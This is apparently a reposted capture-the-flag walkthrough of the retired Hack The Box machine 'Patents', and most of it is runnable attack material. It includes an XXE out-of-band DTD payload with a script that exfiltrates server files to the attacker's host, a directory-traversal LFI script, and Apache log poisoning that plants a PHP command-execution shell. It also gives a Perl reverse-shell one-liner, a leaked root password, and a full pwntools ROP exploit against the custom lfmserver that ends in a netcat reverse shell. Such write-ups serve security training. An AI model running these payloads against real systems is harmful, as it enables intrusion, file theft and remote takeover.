内容简介:This post documents the complete walkthrough of Patents, a retired vulnerablePatents is a retired vulnerable VM from Hack The Box.Let’s start with a
This post documents the complete walkthrough of Patents, a retired vulnerable VM created by gbyolo , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.
On this post
-
Information Gathering
- Directory/File Enumeration
-
- Create DOCX file with custom XML part
- XXE OOB with DTD and PHP filter
- Directory Traversal and Local File Inclusion Vulnerability
- Remote Command Execution
-
-
Process monitoring with
pspy64
-
Process monitoring with
-
- Lightweight File Manager LFM Protocol
-
Vulnerability Analysis of
lfmserver
- Controlling the offset to the return address
-
Exploit Development of
lfmserver
Background
Patents is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.173 --rate=700 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-20 02:12:39 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 22/tcp on 10.10.10.173 Discovered open port 80/tcp on 10.10.10.173 Discovered open port 8888/tcp on 10.10.10.173
Other than the usual ports, port 8888/tcp
sure looks interesting. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p22,80,8888 -A --reason 10.10.10.173 -oN nmap.txt ... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 39:b6:84:a7:a7:f3:c2:4f:38:db:fc:2a:dd:26:4e:67 (RSA) | 256 b1:cd:18:c7:1d:df:57:c1:d2:61:31:89:9e:11:f5:65 (ECDSA) |_ 256 73:37:88:6a:2e:b8:01:4e:65:f7:f8:5e:47:f6:10:c4 (ED25519) 80/tcp open http syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 57E2685CB1CD9B0F1ADA444F3CFF20C6 | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: MEOW Inc. - Patents Management 8888/tcp open sun-answerbook? syn-ack ttl 63 | fingerprint-strings: | Help, LPDString, LSCP: |_ LFM 400 BAD REQUEST 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8888-TCP:V=7.80%I=7%D=1/21%Time=5E269A82%P=x86_64-pc-linux-gnu%r(LS SF:CP,17,"LFM\x20400\x20BAD\x20REQUEST\r\n\r\n")%r(Help,17,"LFM\x20400\x20 SF:BAD\x20REQUEST\r\n\r\n")%r(LPDString,17,"LFM\x20400\x20BAD\x20REQUEST\r SF:\n\r\n");
Hmm. nmap
is not saying much on the mysterious open port. Anyway, this is how the site looks like.
Directory/File Enumeration
Let’s see what we can glean from wfuzz
and quickhits.txt
from SecLists.
# wfuzz -w quickhits.txt -t 100 --hc '403,404' http://10.10.10.173/FUZZ ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.173/FUZZ Total requests: 2439 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000071: 200 7 L 28 W 6148 Ch "/.DS_Store" 000000934: 200 1 L 0 W 1 Ch "/config.php" 000002261: 200 120 L 353 W 5528 Ch "/upload.html" 000002262: 200 16 L 73 W 589 Ch "/upload.php" Total time: 9.380824 Processed Requests: 2439 Filtered Requests: 2435 Requests/sec.: 259.9984
Hmm, .DS_Store
. Someone is using Mac? Anyways, looks like we have two versions of an uploading feature.
upload.html
upload.php
Having said that, both files are pointing to the same convert.php
.
upload.html
upload.php
Let’s switch gears to another wordlist and see what we can discover this time.
# wfuzz -w common.txt -t 100 --hc '403,404' http://10.10.10.173/FUZZ ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.173/FUZZ Total requests: 4652 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000002148: 200 340 L 770 W 12548 Ch "index" 000002150: 200 340 L 770 W 12548 Ch "index.html" 000002913: 301 9 L 28 W 313 Ch "output" 000002971: 301 9 L 28 W 314 Ch "patents" 000003251: 200 437 L 986 W 16064 Ch "profile" 000003428: 301 9 L 28 W 314 Ch "release" 000003894: 301 9 L 28 W 313 Ch "static" 000004243: 200 120 L 353 W 5528 Ch "upload" 000004252: 301 9 L 28 W 314 Ch "uploads" 000004320: 301 9 L 28 W 313 Ch "vendor" Total time: 13.41015 Processed Requests: 4652 Filtered Requests: 4642 Requests/sec.: 346.9012
Ok. This time round we have some directories (the 301s). Let’s try quickhits.txt
on /vendor
.
# wfuzz -w quickhits.txt -t 100 --hc '403,404' http://10.10.10.173/vendor/FUZZ ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.173/vendor/FUZZ Total requests: 2439 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000900: 200 848 L 1549 W 26980 Ch "/composer/installed.json" Total time: 10.21482 Processed Requests: 2439 Filtered Requests: 2438 Requests/sec.: 238.7706
Interesting. What have we here? Composer is used and installed.json
contains the external PHP packages installed.
# curl -s http://10.10.10.173/vendor/composer/installed.json | jq '.[] | {name}' | tr -d '{}' | sed -r '/^$/d' | cut -d':' -f2 | tr -d '" ' gears/di gears/pdf gears/string google/apiclient icecave/parity icecave/repr ircmaxell/password-compat jakoch/phantomjs-installer paragonie/random_compat symfony/filesystem symfony/intl symfony/polyfill symfony/polyfill-ctype symfony/process voku/portable-utf8
Long story short, a hint from the creator was needed to get that initial foothold.
After testing several wordlists from the raft
series in SecLists, I managed to stumble upon the right one.
# wfuzz -w raft-large-words.txt -t 100 --hc '403,404' http://10.10.10.173/release/FUZZ ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.173/release/FUZZ Total requests: 119600 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000076827: 200 17 L 104 W 758 Ch "UpdateDetails" Total time: 342.9610 Processed Requests: 119600 Filtered Requests: 119599 Requests/sec.: 348.7276
Something about entity parsing in the custom folder caught my eye. If I had to guess, I would say it means that XXE injection is possible in Microsoft Office Word’s custom XML.
XXE Injection
Let’s give it a shot. Here’s my game plan.
- First, we create an empty DOCX file with a custom XML part. Note that the XML must be valid.
- Inject XXE payload.
- Upload to test.
- Repeat step 2 for different payloads.
Create DOCX file with custom XML part
Easy. Refer to this video .
XXE payload
You can see that a customXml folder is present in the DOCX file.
Extract it out like so.
# 7z e test.docx customXml
Inject a XXE payload with a text editor.
# vi customXml/item1.xml
Update the DOCX file with the changes.
# zip -u test.docx -r customXml/
Upload to test
What you see above is the blind XXE where we try to load a remote resource. In our case, that remote resource is from my SimpleHTTPServer. The objective is to see if we are able to solicit any kind of response from the server.
Awesome.
XXE OOB with DTD and PHP filter
Now, let’s move on to the next payload: XXE OOB with DTD and PHP filter.
dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.75/dtd.xml?%data;'>">
See what’s displayed on my SimpleHTTPServer.
# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.173 - - [25/Jan/2020 05:46:26] "GET /dtd.xml HTTP/1.0" 200 - 10.10.10.173 - - [25/Jan/2020 05:46:26] "GET /dtd.xml?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpnYnlvbG86eDoxMDAwOjEwMDA6Oi9ob21lL2dieW9sbzovYmluL2Jhc2gK HTTP/1.0" 200 -
base64
-encoded /etc/passwd
from the server, which is decoded to:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin gbyolo:x:1000:1000::/home/gbyolo:/bin/bash
With that in mind, let’s write a simple shell script to exfiltrate any file we have read permissions on. Notice I’m chaining PHP filters to reduce the size.
exfil.sh
#!/bin/bash HOST=10.10.10.173 URL="http://$HOST/convert.php" FILE=$1 cat <<EOF > dtd.xml <!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=$FILE"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.75/dtd.xml?%data;'>"> EOF curl -s \ -H "Expect: " \ -F "[email protected];type=application/vnd.openxmlformats-officedocument.wordprocessingml.document" \ -F "submit=Generate pdf" \ -o /dev/null \ $URL
I’m also piping my SimpleHTTPServer output to the following to display only the pertinent information.
# python -m SimpleHTTPServer 80 2>&1 | stdbuf -o0 grep -Eo 'dtd\.xml\?.* ' | stdbuf -o0 cut -d' ' -f1 | stdbuf -o0 cut -c9-
Let’s exfiltrate config.php
.
Here, I’m using CyberChef to reconstruct the actual file back. Looks like we have a purposely-named file that prevents discovery by any wordlists.
getPatent_alphav1.0.php
<?php //error_reporting(E_ALL); //ini_set('display_errors', 1); //header("Content-type: text/plain"); require __DIR__ . '/vendor/autoload.php'; include('config.php'); use Gears; $uploaddir = 'uploads/'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0"> <link rel="shortcut icon" type="image/x-icon" href="static/assets/img/favicon.png"> <title>Upload - MEOW Inc. - Patents Management Management</title> <link href="https://fonts.googleapis.com/css?family=Montserrat:300,400,500,600,700" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="static/assets/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="static/assets/css/line-awesome.min.css"> <link rel="stylesheet" type="text/css" href="static/assets/css/dataTables.bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="static/assets/css/font-awesome.min.css"> <link rel="stylesheet" type="text/css" href="static/assets/css/style.css"> <!--[if lt IE 9]> <script src="static/assets/js/html5shiv.min.js"></script> <script src="static/assets/js/respond.min.js"></script> <![endif]--> </head> <body> <div> <div> <div> <a href="index.html"> <img src="static/assets/img/logo.png" width="50" height="50" alt=""> </a> </div> <a id="toggle_btn" href="javascript:void(0);"><i></i></a> <div> <h3>MEOW Inc. - Patents Management</h3> </div> <a id="mobile_btn" href="#sidebar"><i aria-hidden="true"></i></a> <ul> <li> <a href="profile.html" data-toggle="dropdown" title="Admin"> <span><img src="static/assets/img/user.jpg" width="40" alt="Admin"> <span></span></span> <span>Ajeje Brazorf</span> <i></i> </a> <ul> <li><a href="profile.html">My Profile</a></li> <li><a href="edit-profile.html">Edit Profile</a></li> </ul> </li> </ul> <div> <a href="#" data-toggle="dropdown" aria-expanded="false"><i></i></a> <ul> <li><a href="profile.html">My Profile</a></li> <li><a href="edit-profile.html">Edit Profile</a></li> </ul> </div> </div> <div id="sidebar"> <div> <div id="sidebar-menu"> <ul> <li> <a href="#"><i></i> <span> Patents</span> <span></span></a> <ul> <li><a href="index.html">All Patents</a></li> <li><a href="upload.html">Upload patent</a></li> </ul> </li> </ul> </div> </div> </div> <div> <div> <div> <div> <h4>Read a patent</h4> </div> </div> <div> <div> <span></span> </div> </div> <div> <div> <span>Here you can read submitted patents. Being it an experimental feature yet, read your patents using <pre>?id=#ID_OF_YOUR_PATENT.</pre></span> </div> </div> <?php if (isset($_GET["id"])) { $id = $_GET["id"]; $file = str_replace("../","",PATENTS_DIR . $id); echo "<div class=\"row mt-3\"> <div class=\"col\">"; echo "<span>ID: $id</span></div> <div class=\"col\">"; echo " <pre>"; include(__DIR__ . $file); echo "</pre></div></div>"; } ?> </div> </div> </div> <div data-reff="#sidebar"></div> <script type="text/javascript" src="static/assets/js/jquery-3.2.1.min.js"></script> <script type="text/javascript" src="static/assets/js/bootstrap.min.js"></script> <script type="text/javascript" src="static/assets/js/jquery.dataTables.min.js"></script> <script type="text/javascript" src="static/assets/js/dataTables.bootstrap.min.js"></script> <script type="text/javascript" src="static/assets/js/jquery.slimscroll.js"></script> <script type="text/javascript" src="static/assets/js/app.js"></script> </body> </html>
Directory Traversal and Local File Inclusion Vulnerability
Looks like there’s a directory traversal and LFI vulnerability with the id
parameter in getPatent_alphav1.0.php
. After all, gbyolo
is right to say that str_replace
is not a real fix. Armed with this insight, let’s write another shell script to exploit the LFI vulnerability to read files.
lfi.sh
#!/bin/bash HOST=10.10.10.173 FILE=$1 URL="http://$HOST/getPatent_alphav1.0.php?id=....//....//....//....//....//$FILE" curl -s \ $URL \ | sed '/<pre>/,/<\/pre>/!d' \ | sed 1,4d \ | xmllint --recover --xpath "//pre" - 2>/dev/null \ | sed -r 's/<\/?pre\/?>//g'
Notice how I was able to bypass str_replace()
to achieve directory traversal? Now, let’s see if we can access files that will allow log poisoning later on. For brevity’s sake, I was able to access /var/log/apache/error.log
for log poisoning.
I poisoned it with the following command:
# curl -H "Referer: <?php phpinfo(); ?>" http://10.10.10.173/dipshit.php
And you should get something like this.
Remote Command Execution
Next up, let’s see if we can get remote command execution from log poisoning with the following:
# curl -H "Referer: <style type='text/css'>body { background-color: black; } #dipshit { background-color: white; color: black; }</style><div id='dipshit'><pre><?php echo shell_exec(\$_GET[0]); ?></pre></div>" http://10.10.10.173/dipshit.php
If everything went well, we should see something like this responding to the following URL.
http://10.10.10.173/getPatent_alphav1.0.php?id=....//....//....//....//....///var/log/apache2/error.log&0=id
Low-Privileged Shell
Time to get that shell with a Perl one-liner.
perl -e 'use Socket;$i="10.10.14.75";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Finally but the euphoria didn’t last long because the user.txt
is held by root
and the web server is hosted in a docker container.
Which means that we need to find the root
’s password on this docker container.
Process monitoring with pspy64
Hmm. gbyolo
is not as security conscious as we thought! Armed with the root
’s password ( !gby0l0r0ck$$!
), we can easily get user.txt
.
Privilege Escalation
At long last we have some information about the mysterious open port 8888/tcp
, other than getting “LFM 400 BAD REQUEST”
with everything thrown at it.
checker.py
#!/usr/bin/env python import sys import os from utils import md5,recvline import socket INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n" if len(sys.argv) != 5: print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>" exit(-1) HOST = sys.argv[1] var = HOST.split(":") if len(var) != 2: print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>" exit(-1) try: PORT = int(var[1]) except ValueError: print "Port number must be integer" exit(-1) HOST = var[0] #print "Connecting to " + HOST + ":" + str(PORT) USER = sys.argv[2] try: PASS = os.environ[sys.argv[3]] except KeyError: print "Couldn't find such password" exit(-1) FILE = sys.argv[4] # At this point PASS is well-defined base = os.path.basename(FILE) try: md5sum = md5(FILE) except IOError: print "File not found locally" exit(-1) REALREQ = INPUTREQ.format(base, USER, PASS, md5sum) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall(REALREQ) resp = s.recv(4096) s.close() #print resp if "LFM 200 OK" in resp: #print "File OK, no need to download" exit(0) if "404" in resp: print "File not found on server" exit(-1) #print "File corrupted, need to download it" REQ = "GET /{} LFM\r\n\r\n".format(base) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall(REQ) recvline(s) recvline(s) recvline(s) resp = s.recv(8192) #if resp[-1] == '\n': # resp = resp[:-1] # #if resp[-1] == '\r': # resp = resp[:-1] s.close() with open("{}.new".format(base), "wb") as f: f.write(resp) print "{}.new".format(base)
Lightweight File Manager LFM Protocol
On top of that, during enumeration of gbyolo
’s account, I notice the git repository to lfmserver
’s source code.
Here’s some of the commit logs.
Checking out commit 1bbc51851
reveals the protocol.
Vulnerability Analysis of lfmserver
From the README above, it’s evident that if we are to exploit the LFM protocol, it must have something to do with the input, and we have three methods to play with, namely, CHECK, GET and PUT. However, looking at the source code for the LFM protocol implementation, we can’t find the handler for the respective methods.
Fret not. We have lfmserver
; we can reverse-engineer the handlers. Long story short, the vulnerability lies in the handle_check
function.
This is where (in handle_lfm_connection
) we call the handle_check
function. Right after we enter the function, we have a 160-byte buffer for storing the file path after URL decoding. I smell buffer overflow!
Controlling the offset to the return address
Here, I was able to control the offset to the return address with this little test script.
test.sh
#!/bin/bash HOST="127.0.0.1" PORT="8888" USER="lfmserver_user" PASS='!gby0l0r0ck$$!' FILE=$1 TRAV="%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e" MD5="$(md5sum $FILE | cut -d' ' -f1)" PAY="$(perl -e 'print "A" x 107 . "B" x 6' | xxd -p | tr -d '\n' | sed -r 's/(..)/%\1/g')" echo -ne "CHECK /${TRAV}${FILE}%00${PAY} LFM\r\nUSER=$USER\r\nPASSWORD=$PASS\r\n\r\n$MD5\n" \ | nc $HOST $PORT
Exploit Development of lfmserver
Before we go on, there’s an important information in commit a900ccf7
about the libc(7)
used in compiling lfmserver
. You can download it from here
.
We can build upon our test script to develop an actual exploit for lfmserver
with pwntools. Here’s my exploit code.
exploit.py
from pwn import * # Context context.binary = "./lfmserver" libc = ELF("./libc.so.6") # Connection information host = "10.10.10.173" port = 8888 # LFM authentication / md5sum user = "lfmserver_user" password = "!gby0l0r0ck$$!" guarantee = "/proc/sys/kernel/randomize_va_space" # guaranteed to be same on both sides; ASLR is enabled md5sum = "26ab0db90d72e28ad0ba1e22ee510510" # md5sum("/proc/sys/kernel/randomize_va_space") def encode(string): return ''.join("%%%02x" % ord(c) for c in string) def genrequest(payload): traversal = "../../../../../.." offset_to_ret = "A" * 107 filepath = encode(traversal) filepath += guarantee + "%00" filepath += encode(offset_to_ret) filepath += encode(payload) request = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(filepath, user, password, md5sum) return request # ROPgadget --binary lfmserver ''' 0x0000000000405c4b : pop rdi ; ret 0x0000000000405c49 : pop rsi ; pop r15 ; ret ''' pop_rdi_ret = 0x405c4b pop_rsi_pop_ret = 0x405c49 skip = 0xdeadbeef # Leak libc r = remote(host, port) rop = "" rop += p64(pop_rdi_ret) rop += p64(6) rop += p64(pop_rsi_pop_ret) rop += p64(context.binary.got["dup2"]) rop += p64(skip) rop += p64(context.binary.symbols["write"]) r.sendline(genrequest(rop)) leaked = r.recvall().split('\n')[4][1:7] leaked = unpack(leaked, 48) libc.address = leaked - libc.symbols["dup2"] success("libc base: %s" % hex(libc.address)) # Time for shell r = remote(host, port) # dup2(6, 0), dup2(6, 1), dup2(6, 2) payload = "" for fd in range(3): payload += p64(pop_rdi_ret) payload += p64(6) payload += p64(pop_rsi_pop_ret) payload += p64(fd) payload += p64(skip) payload += p64(libc.symbols["dup2"]) # one_gadget libc.so.6 ''' 0x50186 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x501e3 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x103f50 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' payload += p64(libc.address + 0x501e3) # found to work from trial-n-error r.sendline(genrequest(payload)) r.sendline("rm -rf /tmp/p; mknod /tmp/p p; /bin/bash </tmp/p | nc 10.10.15.188 1234 >/tmp/p")
Let’s give it a shot. We need to set up a nc
listener by the way because our payload is a reverse shell.
Awesome.
Getting root.txt
I got kicked hard in the nuts, this one. I ran all the docker images including the hidden ones thinking that root.txt
in one of them. Boy, was I wrong! In the end, the real /root
mount point was hidden from me because of the Linux filesystem hierarchy.
See? If I navigate to /root
, I’m actually looking at /dev/sdb1
. So, in order to get to /dev/sda2
mounted at /
, I can mount /dev/sda2
at another location, e.g. /tmp/gbyolo
.
With that, getting root.txt
is easy.
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。